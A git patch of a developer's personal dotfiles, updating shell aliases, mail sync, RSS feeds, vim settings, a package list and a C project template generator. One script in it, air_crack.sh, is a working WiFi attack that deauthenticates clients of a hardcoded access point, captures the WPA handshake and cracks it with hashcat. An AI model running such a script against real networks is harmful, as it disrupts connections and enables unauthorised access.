From 69f86aa21b818c5b634717c05fedb9a37e039985 Mon Sep 17 00:00:00 2001 From: Hassan Afify Date: Mon, 23 Mar 2020 20:56:23 +0300 Subject: [PATCH] update for migration modified: .bashrc modified: .gitconfig modified: .mbsyncrc modified: .newsboat/urls modified: .scripts/air_crack.sh modified: .scripts/create_c_proj.sh modified: .scripts/gpu modified: .scripts/mutt_setup.sh modified: .scripts/network modified: .scripts/pkg_base.sh modified: .scripts/search modified: .scripts/surf_homepage.sh modified: .surf/styles/default.css modified: .vim/syntax/c.vim modified: .vim/syntax/text.vim modified: .vimrc --- .bashrc | 10 +- .gitconfig | 2 +- .mbsyncrc | 3 +- .newsboat/urls | 14 --- .scripts/air_crack.sh | 150 +++++++++++++++--------------- .scripts/create_c_proj.sh | 226 ++++++++++++++++++++++++++++++++++------------ .scripts/gpu | 4 +- .scripts/mutt_setup.sh | 5 + .scripts/network | 2 + .scripts/pkg_base.sh | 79 ++++++---------- .scripts/search | 4 +- .scripts/surf_homepage.sh | 2 +- .surf/styles/default.css | 10 +- .vim/syntax/c.vim | 2 +- .vim/syntax/text.vim | 1 + .vimrc | 30 +++--- 16 files changed, 319 insertions(+), 225 deletions(-) rewrite .scripts/air_crack.sh (74%) rewrite .scripts/pkg_base.sh (64%) diff --git a/.bashrc b/.bashrc index c49c028..2d38851 100644 --- a/.bashrc +++ b/.bashrc @@ -11,9 +11,6 @@ alias xc='xclip -sel clip' alias fonts="fc-list | sed 's/^.*: //' | sort" alias wgetf="wget --tries=10 --continue --content-disposition --trust-server-names -i" alias egyb="cd $HOME/downloads;python /mnt/data/dev/egybest_downloader/egybest_unix.py" -alias x="doas xbps-install -Sy" -alias xr="doas xbps-remove -Ry" -alias xs="xbps-query -Rs" if [[ $(uname) == "OpenBSD" ]]; then alias ll='colorls -lahG' @@ -26,6 +23,9 @@ fi if [[ $(uname) == "Linux" ]]; then alias ll='ls -lahG --color=auto --group-directories-first' alias grep="grep --color=always" + alias x="doas xbps-install -Sy" + alias xr="doas xbps-remove -Ry" + alias xs="xbps-query -Rs" fi alias dwmrc="cd /mnt/data/dev/built/dwm-6.2/ && vim config.h" @@ -65,6 +65,10 @@ else fi } +comp (){ + dir=$(basename "$1") + [ -f "$1" ] || [ -d "$1" ] && tar -czvf "$dir.tar.gz" -C "$1/.." "$dir" +} #------ GIT ------------------------------------------------------------------- if [ -f ~/.git-completion.bash ]; then source ~/.git-completion.bash diff --git a/.gitconfig b/.gitconfig index a4477d3..eeab964 100644 --- a/.gitconfig +++ b/.gitconfig @@ -118,7 +118,7 @@ show-unmerged-branches = branch --no-merged master show-merged-branches = branch --merged master delete-remote-branch = push -d github #branch name - delete-remote-branch = push --delete github #branch name +# delete-remote-branch = push --delete github #branch name show-ahead = rev-list --count master... # git push -f origin $old_commit_id:master # change remote branch # git reset --hard origin/ # force sync with remote diff --git a/.mbsyncrc b/.mbsyncrc index a5261b6..eb2cfa4 100644 --- a/.mbsyncrc +++ b/.mbsyncrc @@ -1,10 +1,11 @@ IMAPAccount afify Host mail.privateemail.com User hassan@afify.dev -PassCmd "gpg2 -q --for-your-eyes-only --no-tty -d ~/.password-store/privateemail.com:afify.dev.gpg" +PassCmd "pass privateemail.com:afify.dev" SSLType IMAPS SSLVersions TLSv1.2 +# PassCmd "gpg2 -q --for-your-eyes-only --no-tty -d ~/.password-store/privateemail.com:afify.dev.gpg" # UseIMAPS yes # CertificateFile ~/.mutt/.mutt_known_hosts # PassCmd "pass privateemail.com:afify.dev" diff --git a/.newsboat/urls b/.newsboat/urls index b1b0e4e..527c346 100644 --- a/.newsboat/urls +++ b/.newsboat/urls @@ -1,29 +1,15 @@ - -# Youtube -https://www.youtube.com/feeds/videos.xml?channel_id=UCVlAsbQEG1yvoAYzt1TEo0Q "~Joe Show" -https://www.youtube.com/feeds/videos.xml?channel_id=UCqlRE8sYdSeijg83yIDpq2w "~Abdullah Alsherif" -https://www.youtube.com/feeds/videos.xml?channel_id=UC-4KnPMmZzwAzW7SbVATUZQ "~AJ+" - https://www.youtube.com/feeds/videos.xml?channel_id=UCXuqSBlHAE6Xw-yeJA0Tunw "LinusTech" https://www.youtube.com/feeds/videos.xml?channel_id=UCeeFfhMcJa1kjtfZAGskOCA "TechLinked" https://www.youtube.com/feeds/videos.xml?channel_id=UC0vBXGSyV14uvJ4hECDOl0Q "TechQuicky" - https://www.youtube.com/feeds/videos.xml?channel_id=UCwd5VFu4KoJNjkWJZMFJGHQ "Jacob" https://www.youtube.com/feeds/videos.xml?channel_id=UCrUL8K81R4VBzm-KOYwrcxQ "Engineerman" https://www.youtube.com/feeds/videos.xml?channel_id=UCsnGwSIHyoYN0kiINAGUKxg "Wolfgang" https://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA "Luke Smith" https://www.youtube.com/feeds/videos.xml?channel_id=UCk9NvmsPBC3lTn_L9kFaylA "IBSD" https://www.youtube.com/feeds/videos.xml?channel_id=UCVls1GmFKf6WlTraIb_IaJg "Distrotube" - https://www.youtube.com/feeds/videos.xml?channel_id=UCQSpnDG3YsFNf5-qHocF-WQ "ThioJoe" https://www.youtube.com/feeds/videos.xml?channel_id=UCBJycsmduvYEL83R_U4JriQ "Marques" https://www.youtube.com/feeds/videos.xml?channel_id=UCVYamHliCI9rw1tHR1xbkfw "DaveLee" - https://www.youtube.com/feeds/videos.xml?channel_id=UCfsOL1vPXPMvO1Lyoeh_PPQ "Joker" -https://www.youtube.com/feeds/videos.xml?channel_id=UCn4HDI02U4f3VEsghRX7dRw "8bit" - -# Reddit https://www.reddit.com/r/suckless.rss "~suckless -reddit" https://www.reddit.com/r/openbsd.rss "~OpenBSD -reddit" - -# https://www.archlinux.org/feeds/news/ "tech" diff --git a/.scripts/air_crack.sh b/.scripts/air_crack.sh dissimilarity index 74% index 26fbce0..2254d41 100644 --- a/.scripts/air_crack.sh +++ b/.scripts/air_crack.sh @@ -1,73 +1,77 @@ -#!/bin/bash - -case $1 in - deauth) - name=$2 - macs=$(grep -o "..:..:..:..:..:.., .*$name" "$HOME/.cache/aircrack/$name-01.csv" | tail -1) - bssid=$(echo "$macs" | awk '{print $8}' | grep -o "..:..:..:..:..:..") - client=$(echo "$macs" | awk '{print $1}' | grep -o "..:..:..:..:..:..") - sudo aireplay-ng --deauth 10 -a $bssid -c $client wlan0mon --ignore-negative-one - exit;; -esac - -green="\033[32m" -yellow="\033[33m" -normal="\033[0m" - -tmpdir="$HOME/.cache/aircrack" -[ -d $tmpdir ] || mkdir $tmpdir -cd $tmpdir - -wordlist_dir="/mnt/data/wordlists" -interface=$(ifconfig | grep wlp0 | sed 's/://' | awk '{print $1}') -# sudo ip link set $interface name wlan0 -# interface="wlan0" -mon="wlan0mon" -deauth_num=20 - -sudo airmon-ng start $interface -sudo airodump-ng $mon - -read -p $'\e[34m'"Enter the BSSID : "$'\e[0m' bssid -read -p $'\e[34m'"Enter the Channel: "$'\e[0m' channel -read -p $'\e[34m'"Enter the wifi name: "$'\e[0m' wifi_name - -sudo airodump-ng -c $channel --bssid $bssid -w $tmpdir/$wifi_name $mon; - -shouldloop=true; -while $shouldloop; do - read -p $'\e[34m'"Got a handshake [y/n] ? : "$'\e[0m' deauth; - shouldloop=false; - if [ $deauth == 'y' ]; then - echo -e $green"=> Got a handshake"$normal; - elif [ $deauth == 'n' ]; then - sudo rm $tmpdir/$wifi_name-*; - echo -e $yellow"=> Retrying to get a handshake by Deauthenticating..."$normal; - read -p $'\e[34m'"Enter the Client mac add.: "$'\e[0m' client_mac; - echo -e $yellow"=> Deauthenticating... $deauth_num"$normal; - # sudo aireplay-ng --deauth $deauth_num -a $bssid $mon --ignore-negative-one; - sudo aireplay-ng --deauth $deauth_num -a $bssid -c $client_mac $mon --ignore-negative-one; - sudo airodump-ng -c $channel --bssid $bssid -w $tmpdir/$wifi_name $mon; - shouldloop=true; - fi -done - -# move the cap file to the cap_files tmpdir -# mv $tmpdir/$wifi_name*.cap $tmpdir/cap_files/; - -# convert the cap to hccapx format for hashcat -cap2hccapx $tmpdir/$wifi_name-01.cap $tmpdir/$wifi_name.hccapx; - -# remove unneaded files -# sudo rm $tmpdir/$wifi_name*; - -# Start the hash cracking with hashcat? -read -p $'\e[34m'"Start cracking now with hashcat [y/n] ? "$'\e[0m' start_hashcat; -if [ $start_hashcat == "y" ]; then -hashcat -m 2500 $tmpdir/$wifi_name.hccapx $wordlist_dir -o $tmpdir/hashcat-result-$wifi_name.txt; -echo -e $green"=> If recovered the file will display"$normal; -cat $tmpdir/hashcat-result-$wifi_name.txt; -else -echo -e $green"=> Your captured file at $tmpdir/results"$normal; -fi - +#!/bin/sh + + +case $1 in + deauth) + name=$2 + macs=$(grep -o "..:..:..:..:..:.., .*$name" "$HOME/.cache/aircrack/$name-01.csv" | tail -1) + bssid=$(echo "$macs" | awk '{print $8}' | grep -o "..:..:..:..:..:..") + client=$(echo "$macs" | awk '{print $1}' | grep -o "..:..:..:..:..:..") + sudo aireplay-ng --deauth 10 -a $bssid -c $client wlan0mon --ignore-negative-one + exit;; +esac + +tmpdir=$HOME/.cache/aircrack +[ -d "$tmpdir" ] || mkdir "$tmpdir" +if ! cd "$tmpdir"; then exit;fi + +wordlist_dir="/mnt/data/wordlists" +interface=$(ifconfig | grep wlp0 | sed 's/://' | awk '{print $1}') +# sudo ip link set $interface name wlan0 +# interface="wlan0" +mon="wlan0mon" +deauth_num=30 + +# sudo airmon-ng start $interface +# sudo airodump-ng $mon +# sleep 5 +#doas pkill airodump + +# printf "Enter the BSSID : " && read bssid +# printf "Enter the Channel: " && read channel +# printf "Enter the wifi name: " && read wifi_name + +channel=8 +bssid=F4:CB:52:7C:5F:C1 +wifi_name=HW-4G +sudo aireplay-ng --deauth $deauth_num -a $bssid $mon --ignore-negative-one & +sudo airodump-ng -c $channel --bssid $bssid -w $tmpdir/$wifi_name $mon + +# +# shouldloop=true; +# while $shouldloop; do +# read -r "Got a handshake [y/n] ? : " deauth +# shouldloop=false +# if [ "$deauth" = 'y' ]; then +# echo "=> Got a handshake" +# elif [ "$deauth" = 'n' ]; then +# sudo rm $tmpdir/$wifi_name-*; +# echo "=> Retrying to get a handshake by Deauthenticating..." +# read -r "Enter the Client mac add.: " client_mac; +# echo "=> Deauthenticating... $deauth_num" +# # sudo aireplay-ng --deauth $deauth_num -a $bssid $mon --ignore-negative-one; +# sudo aireplay-ng --deauth $deauth_num -a $bssid -c $client_mac $mon --ignore-negative-one; +# sudo airodump-ng -c $channel --bssid $bssid -w $tmpdir/$wifi_name $mon; +# shouldloop=true; +# fi +# done +# +# # move the cap file to the cap_files tmpdir +# # mv $tmpdir/$wifi_name*.cap $tmpdir/cap_files/; +# +# # convert the cap to hccapx format for hashcat +# cap2hccapx $tmpdir/$wifi_name-01.cap $tmpdir/$wifi_name.hccapx; +# +# # remove unneaded files +# # sudo rm $tmpdir/$wifi_name*; +# +# # Start the hash cracking with hashcat? +# read -r "Start cracking now with hashcat [y/n] ? " start_hashcat +# if [ $start_hashcat == "y" ]; then +# hashcat -m 2500 $tmpdir/$wifi_name.hccapx $wordlist_dir -o $tmpdir/hashcat-result-$wifi_name.txt +# echo "=> If recovered the file will display" +# cat $tmpdir/hashcat-result-$wifi_name.txt +# else +# echo "=> Your captured file at $tmpdir/results" +# fi +# diff --git a/.scripts/create_c_proj.sh b/.scripts/create_c_proj.sh index 004e6f6..ac7d497 100755 --- a/.scripts/create_c_proj.sh +++ b/.scripts/create_c_proj.sh @@ -1,103 +1,168 @@ -#!/usr/bin/env bash +#!/bin/sh -# Create a C project: git init + 8 files -# (license), (README), (Makefile) (config.mk) -# (man page) (gitignore) (config.def.h) (c file) +# XXX XXX XXX XXX XXX XXX XXX XXX +# XXX Makefile config.mk util XXX +# XXX XXX XXX XXX XXX XXX XXX XXX + +# Create a C project: +# git init + files +# license +# README +# Makefile +# config.mk +# man page +# gitignore +# config.def.h +# c file +# util.c +# util.h +# todo.txt proj=$1 -Proj=${proj^} +Proj=$(echo "$proj" | sed 's/.*/\u&/') year=$(date +'%Y') -mkdir $proj -cd $proj -git init > /dev/null -git remote add github git@github.com:Afify/$proj.git > /dev/null +mkdir "$proj" +cd "$proj" && git init > /dev/null +git remote add github git@github.com:afify/"$proj".git > /dev/null +git remote add repo sh://repo.or.cz/"$proj".git > /dev/null # Create License #============================================================================== -echo -e "MIT License\n\nCopyright (c) $year Hassan Afify + +printf "MIT License\n\n© %s Hassan Afify \nPermission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal +of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: \nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. -\nTHE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE." > ./LICENSE +SOFTWARE." "$year" > ./LICENSE # Create Makefile #============================================================================== -echo -e "# $Proj\n# See LICENSE file for copyright and license details. -\ninclude config.mk\n\nSRC = $proj.c util.c\nOBJ = \${SRC:.c=.o}\n\nall: options $proj -\noptions:\n @echo $proj build options:\n @echo \"CFLAGS = \$(STCFLAGS)\" - @echo \"LDFLAGS = \$(STLDFLAGS)\"\n @echo \"CC = \$(CC)\"\n\nconfig.h: - cp config.def.h config.h\n\n.c.o:\n \$(CC) \$(STCFLAGS) -c \$<\n\n$proj.o: config.h -\n\$(OBJ): config.h config.mk\n\n$proj: \$(OBJ)\n \$(CC) -o \$@ \$(OBJ) \$(STLDFLAGS) -\nclean:\n rm -f \$(OBJ) $proj\n\ninstall: $proj\n mkdir -p \$(DESTDIR)\$(PREFIX)/bin - cp -f $proj \$(DESTDIR)\$(PREFIX)/bin\n chmod 755 \$(DESTDIR)\$(PREFIX)/bin/$proj +echo "# $Proj +# See LICENSE file for copyright and license details. +include config.mk + +SRC = $proj.c util.c +OBJ = \${SRC:.c=.o} + +all: options $proj +options: + @echo $proj build options: + @echo \"CFLAGS = \$(STCFLAGS)\" + @echo \"LDFLAGS = \$(STLDFLAGS)\" + @echo \"CC = \$(CC)\" + +config.h: + cp config.def.h config.h + +.c.o: + \$(CC) \$(STCFLAGS) -c \$< + +$proj.o: config.h + +\$(OBJ): config.h config.mk + +$proj: \$(OBJ) + \$(CC) -o \$@ \$(OBJ) \$(STLDFLAGS) + +clean: + rm -f \$(OBJ) $proj + +install: $proj + mkdir -p \$(DESTDIR)\$(PREFIX)/bin + cp -f $proj \$(DESTDIR)\$(PREFIX)/bin + chmod 755 \$(DESTDIR)\$(PREFIX)/bin/$proj mkdir -p \$(DESTDIR)\$(MANPREFIX)/man1 sed \"s/VERSION/\$(VERSION)/g\" < $proj.1 > \$(DESTDIR)\$(MANPREFIX)/man1/$proj.1 - chmod 644 \$(DESTDIR)\$(MANPREFIX)/man1/$proj.1\n\nuninstall: - rm -f \$(DESTDIR)\$(PREFIX)/bin/$proj\n rm -f \$(DESTDIR)\$(MANPREFIX)/man1/$proj.1 -\n.PHONY: all clean install uninstall"> ./Makefile + chmod 644 \$(DESTDIR)\$(MANPREFIX)/man1/$proj.1 + +uninstall: + rm -f \$(DESTDIR)\$(PREFIX)/bin/$proj + rm -f \$(DESTDIR)\$(MANPREFIX)/man1/$proj.1 + +.PHONY: all clean install uninstall"> ./Makefile # Create config.mk #============================================================================== -echo -e "# $proj version\nVERSION = 0.1\n\n# Customize below to fit your system -\n# paths\nPREFIX = /usr/local\nMANPREFIX = \$(PREFIX)/share/man\n\n#includes and libs -STD = -std=c99\nWARN = -pedantic -Wall -Wno-deprecated-declarations -Os -# WARN = -bench -Wall -Werror -Wunusupported -Wwrite-strings\nLIBS = -lm\n\n# flags +echo "# $proj version +VERSION = 0.1 + +# Customize below to fit your system + +# paths +PREFIX = /usr/local +MANPREFIX = \$(PREFIX)/share/man + +#includes and libs +STD = -std=c99 +WARN = -pedantic -Wall -Wno-deprecated-declarations -Os +# WARN = -bench -Wall -Werror -Wunusupported -Wwrite-strings +LIBS = -lm + +# flags STCFLAGS = \$(STD) \$(WARN) -DVERSION=\\\"\${VERSION}\\\" -D_POSIX_C_SOURCE=200809L -STLDFLAGS= \$(LIBS) \$(LDFLAGS)\n\n# compiler and linker\nCC = cc\n# CC = tcc"> ./config.mk +STLDFLAGS= \$(LIBS) \$(LDFLAGS) + +# compiler and linker +CC = cc" > ./config.mk # Create gitignore #============================================================================== -echo -e "$proj\n*.db\n*.txt\n*.log\n*.o\n.gitignore" > ./.gitignore +printf "%s\n*.db\n*.txt\n*.log\n*.o\n.gitignore" "$proj" > ./.gitignore # Create Readme #============================================================================== -echo -e "$Proj\n====\n$proj is a simple {description} -\nInstallation +echo "$Proj +==== +$proj is a simple {description} + +Installation ------------ -\`\`\`sh -$ git clone https://github.com/Afify/$proj.git +sh +$ git clone git clone git@github.com:afify/$proj.git $ cd $proj/ $ make -$ sudo make install -\`\`\` -\nRun +\# make install + +Run --- -\`\`\`sh \$ $proj -\`\`\` -\nOptions + +Options ------- -\`\`\`sh -\$ $proj [-vah] +\$ $proj [-hv] \$ man $proj -\`\`\` -\nConfiguration + +Configuration ------------- The configuration of $proj is done by creating a custom config.h and (re)compiling the source code. -\nPhilosophy, Contribution & Code Style + +Philosophy, Contribution & Code Style ------------------------------------- - [Contribution]. - [Philosophy]. - [Code Style]. -\nAsk Questions + +Ask Questions ------------- You are welcome to submit questions and bug reports as Github Issues. -\nCopyright and License + +Copyright and License --------------------- $Proj is provided under the MIT license. -\n[Contribution]: + +[Contribution]: [Philosophy]: [Code Style]: " > ./README.md @@ -108,17 +173,17 @@ echo ".TH $Proj 1 $proj\-VERSION $proj \- simple .SH SYNOPSIS .B $proj -.RB [ \-vah ] +.RB [ \-hv ] .SH DESCRIPTION $proj is a simple .P .SH OPTIONS .TP -.B \-v -prints version information to standard output, then exits. -.TP .B \-h prints usage help. +.TP +.B \-v +prints version information to standard output, then exits. .SH USAGE .TP .B $proj @@ -126,19 +191,20 @@ prints usage help. $proj is customized by creating a custom config.h and (re)compiling the source code. This keeps it fast, secure and simple. .SH AUTHORS -hassan@afify.dev +Hassan Afify .SH ISSUES -https://github.com/Afify/$proj/issues"> ./$proj.1 +https://github.com/afify/$proj/issues"> ./"$proj".1 # Create config.def #============================================================================== -echo -e "/* See LICENSE file for copyright and license details.*/\n -#ifndef CONFIG_H\n#define CONFIG_H\n\n\n\n#endif /* CONFIG_H */"> ./config.def.h +printf "/* See LICENSE file for copyright and license details.*/\n +#ifndef CONFIG_H\n#define CONFIG_H\n\n\n\n#endif /* CONFIG_H */\n"> ./config.def.h # Create c file #============================================================================== echo "/* See LICENSE file for copyright and license details. */ #include +#include #include \"config.h\" #include \"utils.h\" @@ -149,12 +215,18 @@ echo "/* See LICENSE file for copyright and license details. */ static void usage(void); /* global variables */ + /* function implementations */ static void usage(void) { - (void)fputs("usage: $proj [-v] init \n", stderr); - exit(EXIT_SUCCESS); + die(\"usage: splanner -[Aacv]\\noptions:\\n \\ +-A print all tasks, 12-hour clock format.\\n \\ +-a print all tasks.\\n \\ +-N print all upcoming tasks, 12-hour clock format.\\n \\ +-n print all upcoming tasks.\\n \\ +-c use cache file.\\n \\ +-v print version.\"); } int @@ -162,7 +234,7 @@ main(int argc, char *argv[]) { return 0; -}"> ./$proj.c +}"> ./"$proj".c # Create utils.c file #============================================================================== @@ -213,3 +285,39 @@ echo "/* See LICENSE file for copyright and license details. */ void die(const char *fmt, ...); void *ecalloc(size_t nmemb, size_t size);">./utils.h + +# Create todo.txt +#============================================================================== +echo "### phase 1 +- [ ] edit documentation +- [ ] push +-> # - #/# + +### phase 2 +- [ ] push +-> # - #/# + +### Documentation +- [ ] man page +- [ ] README +- [ ] splanner.c +-> #/# + +### testing +- [ ] linux +- [ ] bsd +- [ ] osx +-> #/# + +### linting, code style +- [ ] valgrind +- [ ] splint checks +-> #/# + +### final review +-> #/# + +### end v0.1 +-> #/# + +### Next version ideas" > ./todo.txt diff --git a/.scripts/gpu b/.scripts/gpu index d259b83..5ad827a 100755 --- a/.scripts/gpu +++ b/.scripts/gpu @@ -1,7 +1,7 @@ #!/bin/sh -max_mem="300" -max_temp="50" +max_mem="400" +max_temp="52" max_gpu="25" if ! [ "$(uname)" = "Linux" ]; then exit;fi diff --git a/.scripts/mutt_setup.sh b/.scripts/mutt_setup.sh index d84a252..6abddad 100644 --- a/.scripts/mutt_setup.sh +++ b/.scripts/mutt_setup.sh @@ -20,3 +20,8 @@ pacman -S abook notmuch # # # create theme file # echo "" > $mutt_dir/theme.muttrc + +mbsync file config +cron +msmtp file config +new mutt config diff --git a/.scripts/network b/.scripts/network index 84b850e..a628039 100755 --- a/.scripts/network +++ b/.scripts/network @@ -1,5 +1,7 @@ #!/usr/bin/env bash +# TODO if no internet + wifi_icon="直" eth_icon="" other_icon="禍" diff --git a/.scripts/pkg_base.sh b/.scripts/pkg_base.sh dissimilarity index 64% index c6cb3bb..fbc20f5 100644 --- a/.scripts/pkg_base.sh +++ b/.scripts/pkg_base.sh @@ -1,52 +1,27 @@ -# fd -# fusefs-ext4fuse -# grc -# gtk2 -# gtk3 -# hyperfine -# nerd-fonts -# nvidia-driver -# nvidia-settings -# pkgconf -# py36-pip -# tcc -# transmission-gtk -# veracrypt -# virtualbox -# webkit2-gtk3 -# youtube_dl -bash -calcurse -dunst -feh -gimp -git -hashcat -htop -hub -inkscape -jq -libreoffice -mpv -mupdf -neomutt -newsboat -nmap -password-store -python -slock -splint -sudo -sxiv -terminus-font -tor -uget -unrar -unzip -valgrind -vi -vifm -vim -vlc -whois -wkhtmltopdf +dunst +libassuan +firefox +git +htop +hub +jq +libreoffice +mpv +mupdf +neomutt +newsboat +nmap +password-store +redshift +splint +sudo +terminus-font +tor +unrar +unzip +valgrind +vi +vifm +vim +vlc +whois diff --git a/.scripts/search b/.scripts/search index 5fbf94f..c08ef14 100755 --- a/.scripts/search +++ b/.scripts/search @@ -1,6 +1,6 @@ -#!/usr/bin/env bash +#!/bin/sh -url='https://www.google.com/search?q=' +url="https://duckduckgo.com/?q=" if query=$(echo '' | dmenu -p "爵" -sf "#d65d0e" -sb "#111"); then surf "$url""$query" fi diff --git a/.scripts/surf_homepage.sh b/.scripts/surf_homepage.sh index b2e7d1d..7c3b738 100755 --- a/.scripts/surf_homepage.sh +++ b/.scripts/surf_homepage.sh @@ -2,4 +2,4 @@ exec surf https://github.com/ & exec surf https://afify.dev/ & -exec surf https://repo.or.cz/projlist.cgi?name=a15881596efea75a1c46081fff8e7656 & +exec surf https://reddit.com/ & diff --git a/.surf/styles/default.css b/.surf/styles/default.css index 4aa64c1..97e4b80 100644 --- a/.surf/styles/default.css +++ b/.surf/styles/default.css @@ -18,9 +18,13 @@ a { color: #0066cc !important; } -/* span { */ -/* color: green !important; */ -/* } */ +a.post-tag, span.s-tag, a.pl8 { + background-color: #222 !important; +} + +span.pln, span.pun { + color: #777 !important; +} #bottom-result-container #spon_links { display: none !important; } #bottom-result-container #sponsored_csa1 { display: none !important; } diff --git a/.vim/syntax/c.vim b/.vim/syntax/c.vim index bedaca3..382e1e0 100644 --- a/.vim/syntax/c.vim +++ b/.vim/syntax/c.vim @@ -1,4 +1,4 @@ -syn keyword Type chararray uid_t gid_t mode_t +syn keyword Type chararray uid_t gid_t mode_t Task Task_t " syn keyword Todo FIX " syn keyword GitGutterAdd DONE " match GitGutterDelete /FIX/ diff --git a/.vim/syntax/text.vim b/.vim/syntax/text.vim index 0b7f4dc..b339d28 100644 --- a/.vim/syntax/text.vim +++ b/.vim/syntax/text.vim @@ -2,6 +2,7 @@ syn match StorageClass /^\[\s.*\s]$/ syn match makeIdent /\t\[\s.*\s]$/ syn match n_red /\t\?-\s\[u\]\s.*/ +syn match n_blue /\t\?-\s\[w\]\s.*/ syn match GitGutterAdd /\t\?-\s\[x\]\s.*/ syn match Comment /\t\?-\s\[l\]\s.*/ diff --git a/.vimrc b/.vimrc index 93f70e3..3e772c8 100644 --- a/.vimrc +++ b/.vimrc @@ -16,7 +16,6 @@ source ~/.vim/comment.vim call plug#begin('~/.vim/plugged') Plug 'airblade/vim-gitgutter' -Plug 'MTDL9/vim-log-highlighting' Plug 'maralla/completor.vim' Plug 'vim-syntastic/syntastic' call plug#end() @@ -33,8 +32,8 @@ set noexpandtab set splitbelow splitright set wildmenu set wildmode=list:full,full -set ignorecase "search case insensitive -set smartcase "if uppercase case sensitive +set ignorecase +set smartcase autocmd FileType python set tabstop=4 softtabstop=4 shiftwidth=4 textwidth=79 expandtab autoindent foldmethod=indent autocmd FileType c setlocal ts=8 sw=8 @@ -42,7 +41,7 @@ autocmd FilterWritePre * if &diff | set foldcolumn=0 | endif " set noautoindent " set linebreak -" filetype plugin indent on +filetype plugin indent on "============================================================================== " Keymaping @@ -99,16 +98,16 @@ nnoremap = :vertical resize +1 nnoremap - :vertical resize -1 nnoremap 0 :vertical resize 87 -nnoremap j j -nnoremap k k -nnoremap l l -nnoremap h h +nnoremap h +nnoremap j +nnoremap k +nnoremap l " Move the split -nnoremap L L -nnoremap H H -nnoremap J J -nnoremap K K +nnoremap H +nnoremap J +nnoremap K +nnoremap L " Search nnoremap f :set hlsearch/^[a-z*].*(.*)$ @@ -142,7 +141,9 @@ nnoremap c :call Clean_file() nnoremap r :set rightleft nnoremap R :set norightleft +" Git nnoremap g :GitGutterSignsToggle +nmap (GitGutterPreviewHunk) " surround word nnoremap ; i"lea"l @@ -281,15 +282,18 @@ function! Clean_file() " Remove tab\n " Remove file last line if empty " Remove more than 2 empty lines + " Remove empty comment lines " TODO remove 2 spaces between words %s/ \+$//e | \%s/^ \+//e | + \%s/^\/\/$//e | \%s/\t \+/\t/e | \%s/\t\+\n/ /e | \%s/\($\n\)\+\%$//e | - \%s/^\n\{2,\}/ /e + \%s/^\n\{1,\}/ /e " Return to saved cursor call setpos(".", save_pos) + normal !k endfunction "============================================================================== -- 2.11.4.GIT